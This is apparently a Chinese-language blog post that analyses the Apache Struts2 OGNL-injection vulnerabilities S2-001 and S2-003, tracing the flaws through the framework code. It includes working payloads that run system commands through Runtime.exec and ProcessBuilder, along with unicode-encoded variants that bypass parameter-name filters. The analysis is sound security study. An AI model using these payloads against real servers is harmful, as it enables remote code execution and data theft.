搭建环境
https://lanvnal.com/2020/12/15/struts2-lou-dong-fen-xi-huan-jing-da-jian/ 推荐这篇文章亲测有效
${@java.util.concurrent.TimeUnit@SECONDS.sleep(1)} //达到延时的效果
struts是什么
官网上写的是:Apache Struts是一个开源的MVN框架,用于创建Java Web应用程序。它支持约定优于配置,可使用插件架构进行扩展,并附带支持REST、AJAX和JSON的插件。
本地配置的struts版本是
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>
<dependency>
OGNL语法
.操作符:如上所示,可以调用对象的属性和方法, hacker.name,且上一个节点的结果作为下一个节点的上下文,如(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a)),也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))
@操作符:用于调用静态对象、静态方法、静态变量,@java.lang.Math@abs(-10)
#操作符:
a)用于调用非root对象
// 放入Context中,但不是root
context.put("user", user)
// 创建Expression,非root,所以要加上#
String expression = "#user.name";
Object ognl = Ognl.parseExpression(expression);
// 调用
Object value = Ognl.getValue(ognl,context,context.getRoot());
b)创建Map
#{"name": "chenlvtang", "level": "noob"}
c)定义变量
#a=new java.lang.String[]{"calc"}
$操作符:一般用于配置文件,<param name="name">${name}</param>
%操作符:计算其中的OGNL表达式,%{hacker.name}
List:直接使用{"green", "red", "blue"}创建
对象创建:new java.lang.String[]{"foobar"}
Ognl.parseExpression("(#a=new java.lang.String(\"calc\"))(@java.lang.Runtime@getRuntime().exec(#a))(cxk)");
Ognl.parseExpression("(#a=new java.lang.String(\"calc\")),(@java.lang.Runtime@getRuntime().exec(#a))(cxk)");
Ognl.parseExpression("(#a=new java.lang.String(\"calc\")).(@java.lang.Runtime@getRuntime().exec(#a))(cxk)");
//上面三种都会触发
s0001漏洞分析
影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-001
描述:由于在 variable translation 的过程中,使用了 while(true) 来进行字符串的处理和表达式的解析,导致攻击者可以在可控的能解析的内容中通过添加 "%{}" 来使应用程序进行二次表达式解析,这就导致了ognl注入,也就是所谓的RCE漏洞。官方将这种解析方式描述为递归,实际上不是传统意义上的递归,只是循环解析。
漏洞效果:会直接执行我们的表达式跟以下流程
首先就是我们的首页.jsp,跳转到/login页面
通过查看struts.xml的配置可以发现,指向了LoginAction类
LoginAction extends ActionSupport 继承了ActionSupport类,并且重写了execute方法
通过前面我们可以知道,下面三种结果一种也没调用到
懵逼了,没懂就看到index.jsp用到了taglib自定义标签,但是也没啥内容,这里经过了一次报错把
E:\tomcat\apache-tomcat-9.0.65\bin
中的jdwp语句删除即可
这里首先会执行到LoginAction#execute()
然后进入了getBean方法,可以发现stack是OnglValueStack
最后调用doEngTag
方法,页面就会回显( 最后只能知道是用ongl进行解析的详细的流程没找到
)
既然发现是用ongl进行表达式解析,直接断点下在Ognl#parseExpression
发现主要的漏洞点是tag自定义的任意标签,然后调入end方法,传入参数
最终在这里进行ognl 表达式解析
关键的漏洞点在于:如果this.altSyntax()为true就会加上%{}包裹,
直到进行到TextParseUtil类中,会循环取出%{}的内容
,即%{username},会取到username,如果直接是username那么就取不到任何的值,相当于var没用
%{username}--->username
stack.findvalue--->%{3*9}
%{3*9}--->{3*9}
findValue {3*9}
最后{3*9}在这里被成功解析掉了
所以struct2出发ognl表达式解析还有一个前提就是:altSyntax
需要有值。到这一步,整个漏洞的原理就大概说清了,用户通过使用 %{}
包裹恶意表达式的方式,将参数传递给应用程序,应用程序由于处理逻辑失误,导致了二次解析,造成了漏洞。
payload
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-003
描述:在拦截器 ParametersInterceptor 调用 setParameters() 装载参数时,会使用stack.setValue() 最终调用 OgnlUtil.setValue() 方法来使用 OGNL 表达式解析参数名,造成漏洞。
首先程序会调用设置的拦截器栈来执行相关命令,其中一个拦截器是ParametersInterceptor
,这个拦截器会解析参数,将参数放入OnglValueStack root中的action中
在拦截器中,初始化的过程中将DENY_METHOD_EXECUTION
设置为了true。(这里我们在后面会把值修改为false)
DENY_METHOD_EXECUTION值,如果为false则可以执行静态方法,如果为true则不执行静态发放并返回null。
然后在下面调用了setParameters
方法,循环参数Map,首先调用this.acceptableName(name)
来检验参数名是否非法,在较低版本中是判断是否包含#,-:
(禁用这些,因为这几个符号是OGNL中的符号)所以我们下面需要考虑如何绕过
如果校验通过则调用 stack.setValue(name, value)
方法,然后下面的流程就和上面一样了,不重复了
而本次漏洞触发形式就在于 (one)(two)
这种表达形式,属于 ASTEval
类型。
看一下解析执行流程:
- 取第一个节点,也就是 one,调用其
getValue()
方法计算其值,放入 expr 中; - 取第二个节点,也就是 two,赋值给 source ;
- 判断 expr 是否为 node 类型,如果不是,则调用
Ognl.parseExpression()
尝试进行解析,解析的结果强转为 node 类型; - 将 source 放入 root 中,调用 node 的
setValue()
方法对其进行解析; - 还原之前的 root。
因此我们得知:使用 (one)(two)
这种表达式执行时,将会计算 one ,two,并将 two 作为 root 再次为 one 的结果进行计算。如果 one 的结果是一个 AST,OGNL 将简单的执行解释它,否则 OGNL 将这个对象转换为字符串形式然后解析这个字符串。
举个例子:@java.lang.Runtime@getRuntime().exec(‘calc’)
但是使用(one)(two)就可以改成下面的样子:
('@java.lang.Runtime'+'@getRuntime().exec(\'calc\')')('aaa')
('@java.lang.Runtime@'+'getRuntime().exec(#aa)')(#aa='calc')
并且在 OgnlParserTokenManager
方法中使用了 ognl.JavaCharStream#readChar()
方法,在读到 \\u
的情况下,会继续读入 4 个字符,并将它们转换为 char,因此 OGNL 表达式实际上支持了 unicode 编码,这就绕过了之前正则或者字符串判断的限制。
因此,这个漏洞的触发流程就明确了,攻击者在参数名处传入恶意表达式:
- 使用 unicode 编码特殊字符绕过对关键字符黑名单的判断;
- 将 context 中的
xwork.MethodAccessor.denyMethodExecution
值修改为 false,这样在后面才可以调用方法; - 执行恶意的表达式。
(su18)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023su19')(\u0023su19\u003dnew\u0020java.lang.Boolean(false)))&(su20)(('\u0023su21.exec(\'calc\')')(\u0023su21\u003d@java.lang.Runtime@getRuntime()))
(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(su18)(su19)&(%27\u0023su20\u003d@java.lang.Runtime@getRuntime().exec(\%27calc\%27)%27)(su21)(su22)
unicode编码之前的字符串
(su18)(('#context[\'xwork.MethodAccessor.denyMethodExecution\']=#su19')(#su19=new java.lang.Boolean(false)))&(su20)(('#su21.exec(\'calc\')')(#su21=@java.lang.Runtime@getRuntime()))
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。